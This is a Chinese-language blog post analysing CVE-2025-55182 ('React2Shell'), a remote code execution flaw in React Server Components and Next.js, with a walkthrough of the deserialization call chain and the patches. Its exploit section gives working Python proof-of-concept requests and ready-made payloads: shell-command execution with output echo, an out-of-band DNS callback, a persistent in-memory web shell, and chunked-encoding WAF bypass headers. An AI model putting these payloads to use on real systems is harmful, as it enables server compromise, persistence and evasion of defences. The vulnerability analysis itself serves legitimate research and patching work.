Skip to content

CVE-2025-55182 (React2Shell) 完整调用链分析

Dec 18, 2025

Finder: https://react2shell.com/

PoC: https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc

Affected versions:

  • React 19.0.0, 19.1.0, 19.1.1, and 19.2.0
  • Next.js 14.3.0, 15.6.0, 16.0.0

Background

React 使用了 Node.js 等 JavaScript 运行时来负责提供 RSC 的渲染,运行时提供了 JavaScript 与浏览器之外的系统交互的能力,这使得漏洞能够上升到 RCE。

Next.js 框架在默认情况下启用了 RSC 且对用户输入验证不足,这使得此次漏洞影响广泛且利用十分简单。

https://zh-hans.react.dev/reference/rsc/server-components

image.png

我们从修复 commit 入手,就可以快速定位到漏洞点。

https://github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d

Analyse

修复前:https://github.com/facebook/react/tree/36df5e8b42a97df4092f9584e4695bf4537853d5

通过阅读 react-server#flight-rendering 可以知道 RSC 的实现分为 Flight 和 Fizz 两部分,而不安全的序列化是由 Flight 约定并实现的。你可以通过 https://rscexplorer.dev/ 直观地了解 RSC 渲染过程。

容易分析出 RCE 的漏洞极易出现在 Flight 的序列化反序列化过程,我们开始跟踪。可以看到,Flight 实现了一套自己的序列化协议,它允许如下类型被序列化 packages/react-server/src/ReactFlightServer.js#L3469-L3494

// https://github1s.com/facebook/react/blob/36df5e8b42a97df4092f9584e4695bf4537853d5/packages/react-server/src/ReactFlightServer.js#L489-L523
// Serializable values
export type ReactClientValue =
  // Server Elements and Lazy Components are unwrapped on the Server
  | React$Element<component(...props: any)>
  | LazyComponent<ReactClientValue, any>
  // References are passed by their value
  | ClientReference<any>
  | ServerReference<any>
  // The rest are passed as is. Sub-types can be passed in but lose their
  // subtype, so the receiver can only accept once of these.
  | React$Element<string>
  | React$Element<ClientReference<any> & any>
  | ReactComponentInfo
  | string
  | boolean
  | number
  | symbol
  | null
  | void
  | bigint
  | ReadableStream
  | $AsyncIterable<ReactClientValue, ReactClientValue, void>
  | $AsyncIterator<ReactClientValue, ReactClientValue, void>
  | Iterable<ReactClientValue>
  | Iterator<ReactClientValue>
  | Array<ReactClientValue>
  | Map<ReactClientValue, ReactClientValue>
  | Set<ReactClientValue>
  | FormData
  | $ArrayBufferView
  | ArrayBuffer
  | Date
  | ReactClientObject
  | Promise<ReactClientValue>; // Thenable<ReactClientValue>

此次漏洞的入口点在 packages/react-server/src/ReactFlightActionServer.js,这是一个处理 Server Action 的服务端, 允许用户提交表单后,接收序列化的表单数据,并将其反序列化。服务端维护了类型为 Response 的上下文

export type Response = {
  _bundlerConfig: ServerManifest,
  _prefix: string,
  _formData: FormData,
  _chunks: Map<number, SomeChunk<any>>,
  _closed: boolean,
  _closedReason: mixed,
  _temporaryReferences: void | TemporaryReferenceSet,
};

Calling Stack

我从入口点层层上溯,找到了链条的开始,以下是逐步还原的全流程。

首先假设我们发送了攻击请求,Next.js 会在 src/server/app-render/app-render.tsx#L2219 中处理我们的请求,在判断是否可能为 Server Action 请求,判断逻辑十分暴力packages/next/src/server/lib/server-action-request-meta.ts#L38 只需要三个条件满足其一就行。

想要绕过这里,我们需要通过 POST 请求 + application/x-www-form-urlencodedmultipart/form-data 形式发送数据,且 NEXT-ACTION 头为不为空的字符串。

image.png

然后就会把上下文原封不动地进到 packages/next/src/server/app-render/action-handler.ts 这个文件的逻辑,去处理 Server Action。

image.png

packages/next/src/server/app-render/action-handler.ts 做了简单的检测后进入 decodeReplyFromBusboy 注意这里 await 了返回值。

image.png

decodeReplyFromBusboy 的实现在各个运行时存在差异,但是不影响漏洞分析,我们这里拿 Node.js 的实现来举例 packages/react-server-dom-esm/src/server/ReactFlightDOMServerNode.js#L328

这个函数主要就是创建了用于 Flight 的带有用户发送的 _formData 的上下文对象,然后传进 getRoot

image.png

这里终于来到处理 Flight 反序列化的入口点 packages/react-server/src/ReactFlightReplyServer.js#L177,跟进 getRoot (L177)getChunk(response, 0) (L518) ,默认行为下,会获取到我们表单数据 key 为 0 的值作为 Root Chunk 进入 createResolvedModelChunk (L251) ,这个函数新建了一个 Chunk 对象 new Chunk(RESOLVED_MODEL, value, id, response) 并返回给 getRoot

image.png

让我们看看 Chunk 的实现,可以看到它继承了 Promise,由于上文提到 getRoot 返回值会被 await,所以 then 会被触发,进入到 RESOLVED_MODEL 分支,

image.png

接下来会来到 initializeModelChunk (L446)chunk.value 会被 JSON.parse 成对象 rawModel 进入 reviveModel (L386)

image.png

reviveModel 是一个递归处理模板的函数,将所有 $ 前缀字符串替换为其实际值,具有 $ref 和 $ref:prop 的引用语法,它定义了一系列类型,详见:packages/react-server/src/ReactFlightReplyServer.js#L916

Model

这个模板的设计便是这个漏洞利用的核心部分,也是 PoC 最好玩的部分。我们来看几个有趣的:

image.png

$@x 会返回 getChunk 的值,它是一个 Promise。

image.png

$Bx 会返回 formdata 中的对应 key 的原始值。

response._formData.get(blobKey) 这是一个非常好的攻击点,如果上下文对象 response 可控,参数 blobKey 可控,基本和任意代码执行划等号了。

跑题:与之有关的另外两个漏洞

在 React2Shell 披露后不久又发现了三个 CVE

公告:https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components

嘴硬这一块

image.png

DoS

爆了两个 CVE,暂时不知道他们 PoC 是什么,但是只要理解了原理,不难自己实现 DoS。

ac81b87abb54c3cade59c30b37cecbd7.png

修复

现在添加了 1000 次的深度限制

https://github.com/facebook/react/commit/b45bb335db5b3632329d6b41e5a790ff6f1a7ff7

CVE-2025-67779

image.png

由于返回的 ServerReference 类型合并了 Function

export type ServerReference<T: Function> = T & {
  $$typeof: symbol,
  $$id: string,
  $$bound: null | Array<ReactClientValue>,
  $$location?: Error,
};

所以调用它的 toString 会泄露源码(厉不厉害你 JavaScript

image.png

利用

28981fb06131c46065f3577a425385b9.png

修复

覆写了 toString 函数

https://github.com/facebook/react/commit/894bc73cb493487c48d57f4508e6278db58e673a

Exploit

克隆 https://github.com/msanft/CVE-2025-55182 仓库的环境进行复现。

这里不得不佩服 https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3 这位 CTFer 的思路和神速,几乎在漏洞公告披露后一天之内通过 commit 分析出了最简 PoC ,我们来分析他是怎么做的。

他的思路是从原型链取得 Chunk.prototype 的 then 方法然后覆盖 chunk 0 的 then 方法,去造一个假的 Chunk,像这样(Javascript 中含有 then 属性的对象就可以被当作 Promise,可以被 await)

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

精心构造一个假的 Chunk,这里需要注意需要添加 "reason": -1 来避免 var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;toString 报错。

import requests
import json

files = {
    "0": (None, json.dumps({
        "status": "resolved_model",
        "then": "$1:then",
        "value": '{"then": "$B114514"}',
        "_response": {
            "_prefix": "throw 'kaf';//",
            "_formData": {
                "get": "$1:constructor:constructor"
            }
        },
        "reason": -114514,
    })),
    "1": (None, '"$@114514"')
}

res = requests.post("http://localhost:3000", files=files, timeout=10, headers={"NEXT-ACTION":"x"})
print(res.status_code)
print(res.text)

以上是我试出来的最简 PoC,可以看到 chunk 1 仅仅做提供原型链的作用,具体引用的 id 并不影响利用。

import requests
import json

files = {
    "0": (None, json.dumps({
        # "status": "resolved_model",
        "then": "$1:then",
        "value": '{"then": "$B114514"}',
        "_response": {
            "_prefix": "throw 'kaf';//",
            "_formData": {
                "get": "$1:constructor:constructor"
            }
        },
        "reason": "$0:_formData:get",
    })),
    "1": (None, '"$@114514"')
}

res = requests.post("http://localhost:3000", files=files, timeout=10, headers={"NEXT-ACTION":"x"})
print(res.status_code)
print(res.text)

我们可以构造上面这样的 payload 去回显 reason。调试可以看到, reason 被反序列化时,所有属性都已经完成了反序列化。

就这样,我们成功打造了一个恶意 RootChunk,他会层层返回被 awaited,还记得吗,Javascript 中含有 then 属性的对象就可以被当作 Promise,可以被 await。then 会被调用,服务器会以投毒的上下文再走一遍以上的流程,达成了任意 Node.js 代码执行。

_prefix 利用 skills

响应体回显

var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

响应头回显

var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT\_REDIRECT;push;/login?a=${res};307;`});

DNSLog

process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');

内存马

(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();
/// curl "http://target.com/exec?cmd=ls+-l"

分块传输绕过 waf

headers = {
    "Transfer-Encoding": "chunked",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary"
}

修复

Next.js 侧的修复:会检测 next-action 头对应的 Server Action 是否存在

Remove urlencoded action handling & harden action ID checks (#87082) · vercel/next.js@d43d57a

React.js 侧的修复:添加了 hasOwnProperty 检测,不能再通过原型链取得危险方法。

https://github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d

总结

JavaScript 某些奇异的语言特性,似乎使得开发者更容易写出不安全的代码。对于大型项目开发者,在选型时更应当慎重考虑 js 技术栈,做好前后端分离。

网上关于这个漏洞的完整分析太难找,大部分都无法 cover 全,于是有了这篇文章。

以及,

不要用 Next.js

万行大便审的我想吐。

Meme

审 React 源码 Flow + 一堆 any 的一坨

1000003980.jpg

saka 老师高瞻远瞩啊(

1000005698.jpg